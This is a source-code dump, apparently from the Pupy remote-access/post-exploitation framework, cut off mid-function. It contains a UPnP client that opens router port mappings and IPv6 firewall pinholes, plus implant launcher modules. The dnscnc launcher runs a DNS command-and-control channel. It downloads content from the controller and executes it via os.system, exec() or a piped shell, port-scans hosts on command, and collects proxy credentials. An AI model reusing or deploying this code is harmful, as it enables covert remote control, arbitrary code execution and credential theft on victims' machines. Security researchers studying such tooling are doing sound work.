        if netaddr.IPAddress(intIP).is_reserved():
            intIP = self.intIP

        sendArgs = {
            'NewPortMappingDescription': (desc, 'string'),
            'NewLeaseDuration': (duration, 'ui4'),
            'NewInternalClient': (intIP, 'string'),
            'NewEnabled': (enabled, 'boolean'),
            'NewExternalPort': (extPort, 'ui2'),
            'NewRemoteHost': (remoteHost, 'string'),
            'NewProtocol': (proto, 'string'),
            'NewInternalPort': (intPort, 'ui2')
        }

        self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL, upnp_method, sendArgs
        )

    def DeletePortMapping(self, extPort, proto, remoteHost=''):
        upnp_method = 'DeletePortMapping'
        sendArgs = {
            'NewExternalPort': (extPort, 'ui2'),
            'NewRemoteHost': (remoteHost, 'string'),
            'NewProtocol': (proto, 'string')
        }

        self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL, upnp_method, sendArgs
        )

    def GetExternalIP(self):
        upnp_method = 'GetExternalIPAddress'
        sendArgs = {}
        resp_xml = self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL, upnp_method, sendArgs
        )

        if resp_xml:
            return self._get1stTagText(resp_xml, [
                "NewExternalIPAddress"
            ])

    def GetGenericPortMappingEntryAll(self):
        index = 0
        items = []
        while True:
            try:
                items.append(self.GetGenericPortMappingEntry(index))
            except:
                break

            index += 1

        return items

    def GetGenericPortMappingEntry(self, index=None, hideErr=False):
        if index is None:
            return self.GetGenericPortMappingEntryAll()

        upnp_method = 'GetGenericPortMappingEntry'
        sendArgs = {
            'NewPortMappingIndex': (index, 'ui4'),
        }

        resp_xml = self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL, upnp_method, sendArgs, hideErr=hideErr
        )

        if resp_xml:
            return self._get1stTagText(resp_xml, [
                "NewExternalPort", "NewRemoteHost",
                "NewProtocol", "NewInternalPort",
                "NewInternalClient", "NewPortMappingDescription",
                "NewLeaseDuration", "NewEnabled"
            ])

    def GetSpecificPortMappingEntry(self, extPort, proto, remote):
        upnp_method = 'GetSpecificPortMappingEntry'
        sendArgs = {
            'NewExternalPort': (extPort, 'ui2'),
            'NewRemoteHost': (remote, 'string'),
            'NewProtocol': (proto, 'string'),
        }

        resp_xml = self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL, upnp_method, sendArgs
        )

        if resp_xml:
            return self._get1stTagText(resp_xml, [
                "NewInternalPort",
                "NewInternalClient", "NewPortMappingDescription",
                "NewLeaseDuration", "NewEnabled"
            ])

    def GetNATRSIPStatus(self):
        upnp_method = 'GetNATRSIPStatus'
        sendArgs = {}
        resp_xml = self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL,
            upnp_method,
            sendArgs)

        if resp_xml:
            return self._get1stTagText(resp_xml, [
                "NewRSIPAvailable",
                "NewNATEnabled",
            ])

    def GetWarnDisconnectDelay(self):
        upnp_method = 'GetWarnDisconnectDelay'
        sendArgs = {}
        resp_xml = self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL,
            upnp_method,
            sendArgs)
        if resp_xml:
            return self._get1stTagText(resp_xml, [
                "NewWarnDisconnectDelay",
            ])

    def GetIdleDisconnectTime(self):
        upnp_method = 'GetIdleDisconnectTime'
        sendArgs = {}
        resp_xml = self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL,
            upnp_method,
            sendArgs)
        if resp_xml:
            return self._get1stTagText(resp_xml, [
                "NewIdleDisconnectTime",
            ])

    def GetAutoDisconnectTime(self):
        upnp_method = 'GetAutoDisconnectTime'
        sendArgs = {}
        resp_xml = self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL,
            upnp_method,
            sendArgs)
        if resp_xml:
            return self._get1stTagText(resp_xml, [
                "NewAutoDisconnectTime",
            ])

    def GetStatusInfo(self):
        upnp_method = 'GetStatusInfo'
        sendArgs = {}
        resp_xml = self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL,
            upnp_method,
            sendArgs)
        if resp_xml:
            return self._get1stTagText(resp_xml, [
                "NewConnectionStatus",
                "NewLastConnectionError",
                "NewUptime"
            ])

    def SetWarnDisconnectDelay(self, delay):
        upnp_method = 'SetWarnDisconnectDelay'
        sendArgs = {
            'NewWarnDisconnectDelay': (delay, 'ui4'),
        }

        self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL, upnp_method, sendArgs
        )

    def SetIdleDisconnectTime(self, disconnect_time):
        upnp_method = 'SetIdleDisconnectTime'
        sendArgs = {
            'NewIdleDisconnectTime': (disconnect_time, 'ui4'),
        }

        self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL, upnp_method, sendArgs
        )

    def SetAutoDisconnectTime(self, disconnect_time):
        upnp_method = 'SetAutoDisconnectTime'
        sendArgs = {
            'NewAutoDisconnectTime': (disconnect_time, 'ui4'),
        }

        self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL, upnp_method, sendArgs
        )

    def ForceTermination(self):
        upnp_method = 'ForceTermination'
        sendArgs = {}
        self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL, upnp_method, sendArgs
        )

    def RequestTermination(self):
        upnp_method = 'RequestTermination'
        sendArgs = {}
        self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL,
            upnp_method,
            sendArgs)

    def RequestConnection(self):
        upnp_method = 'RequestConnection'
        sendArgs = {}
        self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL,
            upnp_method,
            sendArgs)

    def GetConnectionTypeInfo(self):
        upnp_method = 'GetConnectionTypeInfo'
        sendArgs = {}
        resp_xml = self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL,
            upnp_method,
            sendArgs)
        if resp_xml:
            return self._get1stTagText(resp_xml, [
                "NewConnectionType",
                "NewPossibleConnectionTypes", ])

    def SetConnectionType(self, ctype):
        upnp_method = 'SetConnectionType'
        sendArgs = {
            'NewConnectionType': (ctype, 'string'),
        }
        self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPConnection:1',
            self.ctrlURL,
            upnp_method,
            sendArgs)

    def customAction(self, method_name, in_args={}, svc='WANIPConnection'):
        """
        this is for the vendor specific action
        in_args is a dict,
        svc is the IGD service,
        the format is :
            key is the argument name
            value is a two element list, 1st one is the value of arguement, 2nd
            is the UPnP data type defined in the spec. following is an example:
            {'NewPortMappingIndex': [0, 'ui4'],}

        """
        upnp_method = method_name
        sendArgs = dict(in_args)
        resp_xml = self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:{svc}:1'.format(
                svc=svc),
            self.ctrlURL,
            upnp_method,
            sendArgs
        )

        return resp_xml

    def sendSOAP(self, hostName, serviceType, controlURL, actionName,
                 actionArguments, hideErr=False):
        """
        send a SOAP request and get the response
        """
        argList = ''

        if not controlURL:
            self.discovery()

        # Create a string containing all of the SOAP action's arguments and
        # values
        for arg in actionArguments:
            val, dt = actionArguments[arg]
            argList += '<%s>%s</%s>' % (arg, val, arg)

        # Create the SOAP request
        soapBody = '<?xml version="1.0"?>' \
          '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" ' \
          'SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' \
          '<SOAP-ENV:Body>' \
          '<m:{} xmlns:m="{}">' \
          '{}' \
          '</m:{}>' \
          '</SOAP-ENV:Body>' \
          '</SOAP-ENV:Envelope>'.format(
              actionName,
              serviceType,
              argList,
              actionName
        ).encode('ascii')

        try:
            response = urlopen(
                Request(controlURL, soapBody, {
                    b'Content-Type': b'text/xml',
                    b'SOAPAction': serviceType.encode(
                        'ascii') + b'#' + actionName.encode('ascii')
                }))
        except HTTPError as e:
            err_code, err_desc = self._parseErrMsg(e.read())
            raise UPNPError(e.code, err_code, err_desc)

        return response.read()

    # following are for IP6FWControl
    def GetFWStatus(self):
        upnp_method = 'GetFirewallStatus'
        sendArgs = {}
        resp_xml = self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1',
            self.ctrlURL,
            upnp_method,
            sendArgs)
        if resp_xml:
            return self._get1stTagText(resp_xml, [
                "FirewallEnabled", "InboundPinholeAllowed"])

    def AddPinhole(
            self,
            iclient,
            rhost="",
            rport=0,
            iport=0,
            proto=65535,
            leasetime=3600):
        upnp_method = "AddPinhole"
        pid = getProtoId(proto)
        if not pid:
            print(proto, " is not a supported protocol")
            return
        sendArgs = {
            "RemoteHost": (rhost, 'string'),
            "RemotePort": (rport, 'ui2'),
            "InternalClient": (iclient, 'string'),
            "InternalPort": (iport, 'ui2'),
            "Protocol": (pid, 'ui2'),
            "LeaseTime": (leasetime, 'ui4'),
        }
        resp_xml = self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1',
            self.ctrlURL,
            upnp_method,
            sendArgs)
        if resp_xml:
            return self._get1stTagText(resp_xml, [
                "UniqueID", ])

    def GetPinholeTimeout(
            self,
            iclient="",
            rhost="",
            rport=0,
            iport=0,
            proto=65535):
        upnp_method = "GetOutboundPinholeTimeout"
        pid = getProtoId(proto)
        if not pid:
            print(proto, " is not a supported protocol")
            return
        sendArgs = {
            "RemoteHost": (rhost, 'string'),
            "RemotePort": (rport, 'ui2'),
            "InternalClient": (iclient, 'string'),
            "InternalPort": (iport, 'ui2'),
            "Protocol": (pid, 'ui2'),
        }

        resp_xml = self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1',
            self.ctrlURL,
            upnp_method,
            sendArgs)

        if resp_xml:
            return self._get1stTagText(resp_xml, [
                "OutboundPinholeTimeout",
            ])

    def UpdatePinhole(self, uid, lease):
        upnp_method = "UpdatePinhole"
        sendArgs = {
            "UniqueID": (uid, 'ui2'),
            "NewLeaseTime": (lease, 'ui4'),
        }
        self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1',
            self.ctrlURL,
            upnp_method,
            sendArgs
        )

    def DelPinhole(self, uid):
        upnp_method = "DeletePinhole"
        sendArgs = {
            "UniqueID": (uid, 'ui2'),
        }
        self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1',
            self.ctrlURL,
            upnp_method,
            sendArgs
        )

    def GetPinholePkts(self, uid):
        upnp_method = "GetPinholePackets"
        sendArgs = {
            "UniqueID": (uid, 'ui2'),
        }
        resp_xml = self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1',
            self.ctrlURL,
            upnp_method,
            sendArgs)
        if resp_xml:
            return self._get1stTagText(resp_xml, [
                "PinholePackets",
            ])

    def CheckPinhole(self, uid):
        upnp_method = "CheckPinholeWorking"
        sendArgs = {
            "UniqueID": (uid, 'ui2'),
        }
        resp_xml = self.sendSOAP(
            self.pr.netloc,
            'urn:schemas-upnp-org:service:WANIPv6FirewallControl:1',
            self.ctrlURL,
            upnp_method,
            sendArgs)
        if resp_xml:
            return self._get1stTagText(resp_xml, [
                "IsWorking",
            ])


================================================
FILE: pupy/network/lib/launchers/__init__.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.network.lib import getLogger as topGetLogger

logger = topGetLogger('launcher')

def getLogger(name):
    return logger.getChild(name)


__all__ = ('getLogger',)


================================================
FILE: pupy/network/lib/launchers/auto_proxy.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root
# of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ['AutoProxyLauncher']

import argparse

from pupy.network.lib.utils import (
    parse_transports_args,
    create_client_transport_info_for_addr,
    parse_host
)

from pupy.network.lib.base_launcher import (
    BaseLauncher, LauncherArgumentParser, LauncherError
)

from pupy.network.lib.proxies import (
    find_proxies_for_transport, connect_client_with_proxy_info
)

from pupy.network.lib.socks import ProxyError
from pupy.network.lib.netcreds import add_cred

from pupy.network.conf import transports

from . import getLogger

logger = getLogger('auto_proxy')


class AutoProxyLauncher(BaseLauncher):
    '''
    Communicate to server via proxy or chain of proxies
    '''

    name = 'auto_proxy'
    credentials = ['SSL_BIND_CERT']

    __slots__ = (
        'args', 'hosts', 'connect_on_bind_payload', 'opt_args'
    )

    def __init__(self, *args, **kwargs):
        self.connect_on_bind_payload = kwargs.pop('connect_on_bind_payload', False)
        super(AutoProxyLauncher, self).__init__(*args, **kwargs)

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = LauncherArgumentParser(prog="auto_proxy", description=cls.__doc__)
        cls.arg_parser.add_argument(
            '-c', '--host', metavar='<host:port>', required=True, action='append',
            help='host:port of the pupy server to connect to. You can provide multiple '
            '--host arguments to attempt to connect to multiple IPs')
        cls.arg_parser.add_argument(
            '-t', '--transport', choices=transports, default='ssl',
            help='The transport to use')
        cls.arg_parser.add_argument(
            '-P', '--no-wpad', action='store_true', default=False,
            help='Disable WPAD autodetection')
        cls.arg_parser.add_argument(
            '-A', '--no-auto', action='store_true', default=False,
            help='Disable automatic search for proxies')
        cls.arg_parser.add_argument(
            '-D', '--no-direct', action='store_true', default=False,
            help='Do not attempt to connect without a proxy')
        cls.arg_parser.add_argument(
            '-L', '--try-lan-proxy', action='append',
            help='Try to communicate with WAN using sepcified proxy: '
            'TYPE:host:port (SOCKS5:192.168.0.1:1080)')
        cls.arg_parser.add_argument(
            '-W', '--add-wan-proxy', action='append',
            help='Add proxy to chain of proxies to communicate with pupy server: '
            'TYPE:host:port (SOCKS5:192.168.0.1:1080)')
        cls.arg_parser.add_argument(
            'transport_args', nargs=argparse.REMAINDER,
            help='Transport arguments: key=value key=value ...')

    def parse_args(self, args):
        super(AutoProxyLauncher, self).parse_args(args)

        self.opt_args = parse_transports_args(self.args.transport_args)
        self.hosts = [
            parse_host(host) for host in self.args.host
        ]

    def connect_to_host(self, host_info):
        logger.info('connecting to %s:%d (hostname=%s) using transport %s ...',
            host_info.host, host_info.port, host_info.hostname, self.args.transport)

        transport_info = create_client_transport_info_for_addr(
            self.args.transport, host_info,
            self.opt_args, self.connect_on_bind_payload
        )

        logger.info('using client options: %s', transport_info.client_args)
        logger.info('using transports options: %s', transport_info.transport_args)

        proposed_proxy_infos = find_proxies_for_transport(
            transport_info, host_info,
            lan_proxies=self.args.try_lan_proxy,
            wan_proxies=self.args.add_wan_proxy,
            auto=not self.args.no_auto,
            wpad=not self.args.no_wpad,
            direct=not self.args.no_direct
        )

        for proxy_info in proposed_proxy_infos:
            try:
                connection = connect_client_with_proxy_info(
                    transport_info, proxy_info)

                # Add to netcreds
                if proxy_info.chain:
                    for proxy in proxy_info.chain:
                        if not (proxy.username and proxy.password):
                            continue

                        schema = proxy.type.lower()
                        hostname, port = proxy.addr.split(':')
                        add_cred(proxy.username, proxy.password, True, schema, hostname, None, port)

                self.set_connection_info(
                    host_info.hostname, host_info.host,
                    host_info.port, proxy_info.chain,
                    self.args.transport
                )

                yield connection

                self.reset_connection_info()

            except (ProxyError, EOFError) as e:
                logger.info(
                    'Connection to %s:%d using %s failed: %s',
                    host_info.host, host_info.port, proxy_info.chain, e
                )
            except Exception as e:
                logger.exception(e)

    def iterate(self):
        if self.args is None:
            raise LauncherError('parse_args needs to be called before iterate')

        for host_info in self.hosts:
            streams_iterator = self.connect_to_host(host_info)

            while True:
                try:
                    stream = next(streams_iterator)
                    yield stream
                    if not stream.failed:
                        logger.info('Successful attempt')
                        break

                except EOFError as e:
                    logger.info('Connection closed: %s', e)

                except StopIteration:
                    break

                except Exception as e:
                    logger.exception(e)


================================================
FILE: pupy/network/lib/launchers/bind.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = ['BindLauncher']

import logging
import argparse

from pupy.network.lib import utils
from pupy.network.conf import transports

from ..base_launcher import BaseLauncher, LauncherArgumentParser, LauncherError


class BindLauncher(BaseLauncher):
    """ start a simple bind launcher with the specified transport """

    name = 'bind'
    credentials = ['BIND_PAYLOADS_PASSWORD']

    __slots__ = ('args', 'rhost', 'rport')

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = LauncherArgumentParser(prog="bind", description=cls.__doc__)
        cls.arg_parser.add_argument('--port', metavar='<port>', type=int, required=True, help='the port to bind on')
        cls.arg_parser.add_argument('--host', metavar='<ip>', default='0.0.0.0', help='the ip to listen on (default 0.0.0.0)')
        cls.arg_parser.add_argument('--oneliner-host', metavar='<ip>', help='the ip of the target (for ps1_oneliner launcher only)')
        cls.arg_parser.add_argument('-t', '--transport', choices=transports, default="ssl", help="the transport to use ! (the pupysh.sh --connect will need to be configured with the same transport) ")
        cls.arg_parser.add_argument('transport_args', nargs=argparse.REMAINDER, help="change some transport arguments")

    def parse_args(self, args):
        self.args = self.arg_parser.parse_args(args)

    def iterate(self):
        if self.args is None:
            raise LauncherError("parse_args needs to be called before iterate")

        logging.info("binding on %s:%s using transport %s ..."%(self.args.host, self.args.port, self.args.transport))
        opt_args = utils.parse_transports_args(' '.join(self.args.transport_args))
        t = transports[self.args.transport](bind_payload=True)

        transport_kwargs = t.server_transport_kwargs
        for val in opt_args:
            if val.lower() in t.server_transport_kwargs:
                transport_kwargs[val.lower()]=opt_args[val]
            else:
                logging.warning("unknown transport argument : %s"%val)

        t.parse_args(transport_kwargs)
        logging.info("using transports options: %s"%transport_kwargs)
        if t.authenticator:
            authenticator = t.authenticator()
        else:
            authenticator = None

        self.set_connection_info(
            None, self.args.host, self.args.port,
            None, self.args.transport
        )

        yield (
            t.server, self.args.port, self.args.host,
            authenticator, t.stream, t.server_transport,
            transport_kwargs
        )

        self.reset_connection_info()


================================================
FILE: pupy/network/lib/launchers/connect.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root
# of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ['ConnectLauncher']

import argparse

from pupy.network.lib.utils import (
    parse_transports_args,
    create_client_transport_info_for_addr,
    parse_host
)

from pupy.network.lib.base_launcher import (
    LauncherError, LauncherArgumentParser, BaseLauncher
)

from pupy.network.conf import transports


from . import getLogger

logger = getLogger('connect')


class ConnectLauncher(BaseLauncher):
    """ simple launcher that uses TCP connect with a chosen transport """

    name = 'connect'
    credentials = ['SSL_BIND_CERT']

    __slots__ = (
        'args', 'hosts', 'connect_on_bind_payload', 'opt_args'
    )

    def __init__(self, *args, **kwargs):
        self.connect_on_bind_payload = kwargs.pop(
            'connect_on_bind_payload', False)
        super(ConnectLauncher, self).__init__(*args, **kwargs)

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = LauncherArgumentParser(
            prog="connect", description=cls.__doc__
        )
        cls.arg_parser.add_argument(
            '-c', '--host', metavar='<host:port>', required=True,
            action='append', help='host:port of the pupy server to '
            'connect to. You can provide multiple --host arguments '
            'to attempt to connect to multiple IPs'
        )
        cls.arg_parser.add_argument(
            '-t', '--transport', choices=transports, default="ssl",
            help='The transport to use'
        )
        cls.arg_parser.add_argument(
            'transport_args', nargs=argparse.REMAINDER,
            help='Transport arguments: key=value key=value ...'
        )

    def parse_args(self, args):
        super(ConnectLauncher, self).parse_args(args)

        self.opt_args = parse_transports_args(self.args.transport_args)
        self.hosts = [
            parse_host(host) for host in self.args.host
        ]

    def iterate(self):
        if self.args is None:
            raise LauncherError('parse_args needs to be called before iterate')

        for host_info in self.hosts:
            try:
                yield self.connect_to_host(host_info)
                self.reset_connection_info()

            except EOFError as e:
                logger.info('Connection closed: %s', e)

            except Exception as e:
                logger.exception(e)

    def connect_to_host(self, host_info):
        logger.info(
            'connecting to %s:%d using transport %s ...',
            host_info.host, host_info.port, self.args.transport
        )

        info = create_client_transport_info_for_addr(
            self.args.transport, host_info,
            self.opt_args, self.connect_on_bind_payload
        )

        logger.info('using client options: %s', info.client_args)
        logger.info('using transports options: %s', info.transport_args)

        info.transport.parse_args(info.transport_args)

        client = info.transport.client(**info.client_args)

        sock = client.connect(host_info.host, host_info.port)
        stream = info.transport.stream(
            sock,
            info.transport.client_transport,
            info.transport_args)

        self.set_connection_info(
            host_info.hostname, host_info.host, host_info.port,
            None, self.args.transport
        )

        return stream


================================================
FILE: pupy/network/lib/launchers/dnscnc.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2016, Oleksii Shevchuk (alxchk@gmail.com)

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ['DNSCommandClientLauncher']

from ..base_launcher import BaseLauncher, LauncherArgumentParser, LauncherError
from ..picocmd.client import DnsCommandsClient
from ..picocmd.picocmd import ConnectablePort, OnlineStatus, PortQuizPort

from ..proxies import find_proxies_for_transport, connect_client_with_proxy_info
from ..utils import create_client_transport_info_for_addr, HostInfo

from ..socks import ProxyError

from ..online import PortQuiz, check
from ..scan import scan

from threading import Thread, Lock

from time import sleep

import sys
import socket
import os

import subprocess

import tempfile
import platform

import pupy
from pupy.network.lib import getLogger

logger = getLogger('dnscnc')

if sys.version_info.major > 2:
    xrange = range


class DNSCommandClientLauncher(DnsCommandsClient):
    def __init__(self, domain, doh=False, ns=None, qtype=None, ns_timeout=3):
        self.stream = None
        self.commands = []
        self.lock = Lock()
        self.doh = doh

        try:
            import pupy_credentials
            key = pupy_credentials.DNSCNC_PUB_KEY_V2
        except ImportError:
            from pupy.pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            key = credentials['DNSCNC_PUB_KEY_V2']

        DnsCommandsClient.__init__(
            self, domain, key, doh, ns, qtype, ns_timeout=ns_timeout
        )

    def on_session_established(self):
        pupy.client.set_info('spi', '{:08x}'.format(self.spi))

    def on_session_lost(self):
        pupy.client.unset_info('spi')

    def on_downloadexec_content(self, url, action, content):
        self.on_pastelink_content(url, action, content)

    def on_pastelink_content(self, url, action, content):
        if action.startswith('exec'):
            tmp_path = None

            try:
                fd, tmp_path = tempfile.mkstemp()
                tmp = os.fdopen(fd, 'wb')
                tmp.write(content)
                tmp.close()

                if not platform.system == 'Windows':
                    os.chmod(tmp_path, 0o700)

                os.system(tmp_path)

            except Exception as e:
                logger.exception(e)

            finally:
                if tmp_path:
                    os.unlink(tmp_path)

        elif action.startswith('pyexec'):
            try:
                exec(content)
            except Exception as e:
                logger.exception(e)
        elif action.startswith('sh'):
            try:
                pipe = None
                if platform.system == 'Windows':
                    kwargs = {
                        'stdin': subprocess.PIPE
                    }

                    if hasattr(subprocess, 'STARTUPINFO'):
                        startupinfo = subprocess.STARTUPINFO()
                        startupinfo.dwFlags |= \
                          subprocess.CREATE_NEW_CONSOLE | \
                          subprocess.STARTF_USESHOWWINDOW

                        kwargs.update({
                            'startupinfo': startupinfo,
                        })

                    pipe = subprocess.Popen('cmd.exe', **kwargs)
                else:
                    pipe = subprocess.Popen(['/bin/sh'], stdin=subprocess.PIPE)

                pipe.stdin.write(content)
                pipe.stdin.close()
                pipe.communicate()

            except Exception as e:
                logger.exception(e)

    def _checkconnect_worker(self, host, port_start, port_end):
        ports = xrange(port_start, port_end+1)
        connectable = scan([str(host)], ports)
        while connectable:
            chunk = [x[1] for x in connectable[:5]]
            connectable = connectable[5:]
            self.event(ConnectablePort(host, chunk))

    def on_checkconnect(self, host, port_start, port_end):
        worker = Thread(target=self._checkconnect_worker, args=(
            host, port_start, port_end))
        worker.daemon = True
        worker.start()

    def _checkonline_worker(self):
        logger.debug('CheckOnline worker started')
        portquiz = PortQuiz()
        portquiz.start()

        try:
            offset, mintime, register = check()
            logger.debug('OnlineStatus completed: %04x %04x %08x',
                offset, mintime, register)
            self.event(OnlineStatus(offset, mintime, register))
        except Exception as e:
            logger.exception('Online status check failed: %s', e)

        logger.debug('Wait for PortQuiz completion')
        portquiz.join()
        logger.debug('PortQuiz completed')

        try:
            if portquiz.available:
                self.event(PortQuizPort(portquiz.available[:8]))
        except Exception as e:
            logger.exception(e)

        logger.debug('CheckOnline worker completed')

    def on_checkonline(self):
        worker = Thread(target=self._checkonline_worker)
        worker.daemon = True
        worker.start()

    def on_connect(self, address, port, transport, proxy, hostname=None):
        logger.debug(
            'connect request: %s:%s %s %s%s',
            address, port, transport, proxy, (' host=' + hostname) if hostname else ''
        )

        with self.lock:
            if self.stream and not self.stream.closed:
                logger.debug('ignoring connection request. stream = %s', self.stream)
                return

            self.commands.append(('connect', address, port, transport, proxy, hostname))

    def on_disconnect(self):
        logger.debug('disconnect request [stream=%s]', self.stream)
        with self.lock:
            if self.stream:
                self.stream.close()
                self.stream = None

    def on_exit(self):
        with self.lock:
            if self.stream:
                self.stream.close()

        os._exit(0)


class DNSCncLauncher(BaseLauncher):
    ''' Micro command protocol built over DNS infrastructure '''

    __slots__ = (
        'connect_on_bind_payload', 'dnscnc', 'exited', 'doh',
        'ns', 'ns_timeout', 'qtype', 'pupy'
    )

    name = 'dnscnc'
    credentials = ['DNSCNC_PUB_KEY_V2']

    def __init__(self, *args, **kwargs):
        self.connect_on_bind_payload = kwargs.pop(
            'connect_on_bind_payload', False
        )

        super(DNSCncLauncher, self).__init__(*args, **kwargs)

        self.dnscnc = None
        self.exited = False
        self.doh = False

        self.ns = None
        self.ns_timeout = None
        self.qtype = None
        self.pupy = None

    def parse_args(self, args):
        self.args = self.arg_parser.parse_args(args)

        self.doh = self.args.doh
        self.ns = self.args.ns
        self.ns_timeout = self.args.ns_timeout
        self.qtype = self.args.qtype

    def activate(self):
        if self.args is None:
            raise LauncherError('parse_args needs to be called before iterate')

        logger.info('Activating CNC protocol. Domain: %s', self.args.domain)

        self.pupy = __import__('pupy')
        self.dnscnc = DNSCommandClientLauncher(
            self.args.domain, self.doh, self.ns, self.qtype, self.ns_timeout)
        self.dnscnc.daemon = True
        self.dnscnc.start()

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = LauncherArgumentParser(
            prog='dnscnc', description=cls.__doc__
        )

        cls.arg_parser.add_argument(
            '--domain',
            metavar='<domain>',
            required=True,
            help='controlled domain (hostname only, no IP, '
               'you should properly setup NS first. Port is NOT supported)'
        )

        cls.arg_parser.add_argument(
            '--ns', help='DNS server (will use internal DNS library)'
        )

        cls.arg_parser.add_argument(
            '--doh', help='Use DNS-over-HTTPS', default=False, action='store_true'
        )

        cls.arg_parser.add_argument(
            '--ns-timeout', help='DNS query timeout (only when internal DNS library used)',
            default=3, type=int,
        )

        cls.arg_parser.add_argument(
            '--qtype',
            choices=['A', 'AAAA'], default=None,
            help='DNS query type (For now only A and AAAA are supported)'
        )


    def iterate(self):
        if not self.dnscnc:
            self.activate()

        while not self.exited and not pupy.client.terminated:
            try:
                connection = self.process()
                if not connection:
                    continue

                stream, transport = connection
                if not stream:
                    continue

                logger.debug('stream created, yielding - %s', stream)

                self.dnscnc.stream = stream

                yield stream

                with self.dnscnc.lock:
                    logger.debug('stream completed - %s', stream)

                    self.dnscnc.stream = None

            except Exception as e:
                logger.exception(e)

    def process(self):
        command = None
        connection = None
        wait = False

        with self.dnscnc.lock:
            if self.dnscnc.commands:
                command = self.dnscnc.commands.pop()

            if not command:
                wait = True

            elif command[0] == 'connect':
                try:
                    connection = self.on_connect(command)
                except socket.error:
                    pass

                if not connection:
                    self.event(0x20000000 | 0xFFFE)

        if wait:
            sleep(5)

        return connection

    def connect_to_host(self, host_info, transport, proxies):
        logger.info('connecting to %s:%d (hostname=%s) using transport %s ...',
            host_info.host, host_info.port, host_info.hostname,
            transport
        )

        transport_info = create_client_transport_info_for_addr(
            transport, host_info
        )

        logger.info('using client options: %s', transport_info.client_args)
        logger.info('using transports options: %s', transport_info.transport_args)

        auto = True

        if proxies is False:
            auto = False
            proxies = None
        elif proxies is True:
            proxies = None

        proposed_proxy_infos = find_proxies_for_transport(
            transport_info, host_info,
            wan_proxies=proxies,
            auto=auto
        )

        for proxy_info in proposed_proxy_infos:
            try:
                yield connect_client_with_proxy_info(
                    transport_info, proxy_info)

            except (ProxyError, EOFError) as e:
                logger.info(
                    'Connection to %s:%d using %s failed: %s',
                    host_info.host, host_info.port, proxy_info.chain, e
                )
            except Exception as e:
                logger.exception(e)


    def on_connect(self, command):
        logger.debug('processing connection command')

        stream = None
        transport = None

        _, host, port, transport, connection_proxy, hostname = command

        if connection_proxy is None:
            logger.debug('Connection proxy: autodetect')
        elif connection_proxy is True:
            logger.debug('Connection proxy: omit direct')
        elif connection_proxy is False:
            logger.debug('Connection proxy: disabled')
        elif len(connection_proxy) == 1:
